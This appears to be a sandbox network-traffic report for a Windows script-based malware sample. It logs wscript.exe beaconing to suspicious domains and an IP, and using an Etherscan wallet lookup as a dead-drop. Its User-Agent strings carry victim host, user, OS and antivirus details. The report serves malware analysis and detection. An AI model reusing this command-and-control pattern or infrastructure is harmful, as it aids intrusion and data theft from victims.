Dec 9, 2024 06:50:49.906472921 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:50.044511080 CET	1.1.1.1	192.168.2.11	0x2	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:50.182509899 CET	1.1.1.1	192.168.2.11	0x3	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:50.319618940 CET	1.1.1.1	192.168.2.11	0x4	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:50.457583904 CET	1.1.1.1	192.168.2.11	0x5	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:51.323120117 CET	1.1.1.1	192.168.2.11	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Dec 9, 2024 06:50:51.462090969 CET	1.1.1.1	192.168.2.11	0x2	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:51.599353075 CET	1.1.1.1	192.168.2.11	0x3	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:50:51.743025064 CET	1.1.1.1	192.168.2.11	0x4	Name error (3)	a1.6cs6.club	none	none	A (IP address)	IN (0x0001)	false
Dec 9, 2024 06:50:51.881007910 CET	1.1.1.1	192.168.2.11	0x5	Name error (3)	a1.6cs6.club	none	none	28	IN (0x0001)	false
Dec 9, 2024 06:51:00.434998035 CET	1.1.1.1	192.168.2.11	0xcd54	No error (0)	a1.aigoingtokill.club		181.214.58.112	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

api.etherscan.io

a1.airobotheworld.com

aigoingtokill.aigoingtokill.club

1.1.1.1

a1.aigoingtokill.club

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49744	23.111.175.138	80	7928	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:49:24.417678118 CET	401	OUT	GET /api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926 HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: api.etherscan.io Connection: Keep-Alive
Dec 9, 2024 06:49:41.194638014 CET	580	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 05:49:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 181 Connection: keep-alive Cache-Control: private Content-Encoding: gzip Vary: Accept-Encoding svid: 54 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS X-Frame-Options: SAMEORIGIN Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 7e f1 47 4d 9b b5 eb e6 a3 47 1f ed 7c 34 fa 68 91 37 4d 76 91 d3 5f 2f be 7c f3 e5 ef 45 9f d4 79 b3 2e 5b fa e0 8b a2 69 8a e5 c5 dd b3 e5 65 56 16 b3 f4 f8 e5 59 fa 7b e5 d7 1f fd 92 ff 07 ba 58 84 79 43 00 00 00 Data Ascii: `I%&/m{JJt`$@iG#)*eVe]f@{{;N'?\fdlJ!?~\|?"~GMG\|4h7Mv_/\|Ey.[ieVY{XyC
Dec 9, 2024 06:50:30.184518099 CET	401	OUT	GET /api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926 HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: api.etherscan.io Connection: Keep-Alive
Dec 9, 2024 06:50:30.535686016 CET	580	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 05:50:30 GMT Content-Type: application/json; charset=utf-8 Content-Length: 181 Connection: keep-alive Cache-Control: private Content-Encoding: gzip Vary: Accept-Encoding svid: 54 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS X-Frame-Options: SAMEORIGIN Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 7e f1 47 4d 9b b5 eb e6 a3 47 1f ed 7c 34 fa 68 91 37 4d 76 91 d3 5f 2f be 7c f3 e5 ef 45 9f d4 79 b3 2e 5b fa e0 8b a2 69 8a e5 c5 dd b3 e5 65 56 16 b3 f4 f8 e5 59 fa 7b e5 d7 1f fd 92 ff 07 ba 58 84 79 43 00 00 00 Data Ascii: `I%&/m{JJt`$@iG#)*eVe]f@{{;N'?\fdlJ!?~\|?"~GMG\|4h7Mv_/\|Ey.[ieVY{XyC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49756	23.111.175.138	80	2028	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:49:28.341741085 CET	398	OUT	GET /api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926 HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: api.etherscan.io Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49793	181.214.58.112	80	7928	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:49:42.059791088 CET	336	OUT	GET /ctrl/url.html HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: a1.airobotheworld.com Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49814	181.214.58.112	80	2028	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:49:50.704333067 CET	333	OUT	GET /ctrl/url.html HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: a1.airobotheworld.com Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49852	181.214.58.112	80	7928	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:50:05.951877117 CET	347	OUT	GET /ctrl/url.html HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: aigoingtokill.aigoingtokill.club Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49872	181.214.58.112	80	2028	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:50:14.075989962 CET	344	OUT	GET /ctrl/url.html HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: aigoingtokill.aigoingtokill.club Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49922	1.1.1.1	80	7928	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:50:33.836812019 CET	326	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: 1.1.1.1 Connection: Keep-Alive
Dec 9, 2024 06:50:34.935600042 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: cloudflare Date: Mon, 09 Dec 2024 05:50:34 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Location: https://1.1.1.1/ctrl/playback.php CF-RAY: 8ef2b7eb5d744257-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 06:50:36.082202911 CET	326	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: 1.1.1.1 Connection: Keep-Alive
Dec 9, 2024 06:50:36.395900011 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: cloudflare Date: Mon, 09 Dec 2024 05:50:36 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Location: https://1.1.1.1/ctrl/playback.php CF-RAY: 8ef2b7f48c984257-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 06:50:37.551542997 CET	326	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: 1.1.1.1 Connection: Keep-Alive
Dec 9, 2024 06:50:37.865464926 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: cloudflare Date: Mon, 09 Dec 2024 05:50:37 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Location: https://1.1.1.1/ctrl/playback.php CF-RAY: 8ef2b7fdbbf94257-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49930	23.111.175.138	80	2028	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:50:37.333501101 CET	398	OUT	GET /api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926 HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: api.etherscan.io Connection: Keep-Alive
Dec 9, 2024 06:50:45.685326099 CET	580	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 05:50:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 181 Connection: keep-alive Cache-Control: private Content-Encoding: gzip Vary: Accept-Encoding svid: 54 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS X-Frame-Options: SAMEORIGIN Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 7e f1 47 4d 9b b5 eb e6 a3 47 1f ed 7c 34 fa 68 91 37 4d 76 91 d3 5f 2f be 7c f3 e5 ef 45 9f d4 79 b3 2e 5b fa e0 8b a2 69 8a e5 c5 dd b3 e5 65 56 16 b3 f4 f8 e5 59 fa 7b e5 d7 1f fd 92 ff 07 ba 58 84 79 43 00 00 00 Data Ascii: `I%&/m{JJt`$@iG#)*eVe]f@{{;N'?\fdlJ!?~\|?"~GMG\|4h7Mv_/\|Ey.[ieVY{XyC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49935	181.214.58.112	80	7928	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:50:38.172786951 CET	340	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: a1.airobotheworld.com Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49959	1.1.1.1	80	2028	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:50:48.542284012 CET	323	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: 1.1.1.1 Connection: Keep-Alive
Dec 9, 2024 06:50:49.614295959 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: cloudflare Date: Mon, 09 Dec 2024 05:50:49 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Location: https://1.1.1.1/ctrl/playback.php CF-RAY: 8ef2b8471bc67cfa-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 06:50:50.721399069 CET	323	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: 1.1.1.1 Connection: Keep-Alive
Dec 9, 2024 06:50:51.035649061 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: cloudflare Date: Mon, 09 Dec 2024 05:50:50 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Location: https://1.1.1.1/ctrl/playback.php CF-RAY: 8ef2b8500c717cfa-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Dec 9, 2024 06:50:52.125667095 CET	323	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: 1.1.1.1 Connection: Keep-Alive
Dec 9, 2024 06:50:52.439909935 CET	403	IN	HTTP/1.1 301 Moved Permanently Server: cloudflare Date: Mon, 09 Dec 2024 05:50:52 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Location: https://1.1.1.1/ctrl/playback.php CF-RAY: 8ef2b858cc897cfa-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49971	181.214.58.112	80	2028	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:50:52.921227932 CET	337	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: a1.airobotheworld.com Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49992	181.214.58.112	80	7928	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:51:00.555828094 CET	340	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>user\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded Accept-Language: en-ch Accept-Encoding: gzip, deflate Host: a1.aigoingtokill.club Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	50017	181.214.58.112	80	2028	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 06:51:15.154639959 CET	337	OUT	GET /ctrl/playback.php HTTP/1.1 Accept: / User-Agent: B81A4609<\|>user-PC<\|>SYSTEM\|<\|>Microsoft Windows 10 Pro<\|>x64\|6.1\|\|X\|E12-9<\|>Windows Defender .<\|>\|\|<\|> If-Modified-Since: 0 Content-Type: application/x-www-form-urlencoded UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: a1.aigoingtokill.club Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.11	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:14 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:14 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 07 Dec 2024 15:08:57 GMT ETag: "0x8DD16D112C941E3" x-ms-request-id: 2bf777ac-301e-0099-29dd-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054914Z-r1cf579d778bb9vvhC1EWRs954000000073g0000000038n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:14 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-09 05:49:14 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
